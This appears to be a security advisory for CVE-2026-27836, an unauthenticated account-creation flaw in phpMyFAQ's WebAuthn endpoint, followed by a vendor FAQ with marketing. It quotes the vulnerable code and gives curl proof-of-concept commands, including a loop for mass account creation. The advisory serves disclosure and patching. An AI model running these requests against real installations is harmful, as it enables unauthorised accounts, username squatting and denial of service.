CVE-2026-27836

The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79

#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
    $data = json_decode($request->getContent(), ...);
    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);

    if (!$this->user->getUserByLogin($username, raiseError: false)) {
        try {
            $this->user->createUser($username);
            $this->user->setStatus(status: 'active');
            $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
            $this->user->setUserData([
                'display_name' => $username,
                'email' => $username,
            ]);

The endpoint:

1. Accepts any POST request with a JSON username field
2. If the username doesn't exist, creates a new active user account
3. Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport)
4. Does NOT check if registration is enabled (security.enableRegistration)
5. Does NOT verify CSRF tokens
6. Does NOT require captcha validation
7. Has no rate limiting

PoC

# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker_account"}'

# Mass account creation
for i in $(seq 1 1000); do
  curl -s -X POST https://TARGET/api/webauthn/prepare \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"spam_user_$i"}" &
done

• Registration bypass: Accounts created even when self-registration is disabled
• Username squatting: Reserve usernames before legitimate users
• Database exhaustion: Create millions of fake active accounts (DoS)
• User enumeration: Different responses for existing vs new usernames
• Security control bypass: WebAuthn config check is bypassed entirely

All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-27836 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.18); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-27836? CVE-2026-27836 is a high-severity missing authorization vulnerability in thorsten/phpmyfaq (composer), affecting versions < 4.0.18. It is fixed in 4.0.18. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-27836? CVE-2026-27836 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of thorsten/phpmyfaq are affected by CVE-2026-27836? thorsten/phpmyfaq (composer) versions < 4.0.18 is affected.
4. Is there a fix for CVE-2026-27836? Yes. CVE-2026-27836 is fixed in 4.0.18. Upgrade to this version or later.
5. Is CVE-2026-27836 exploitable, and should I be worried? Whether CVE-2026-27836 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27836 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27836? Upgrade thorsten/phpmyfaq to 4.0.18 or later.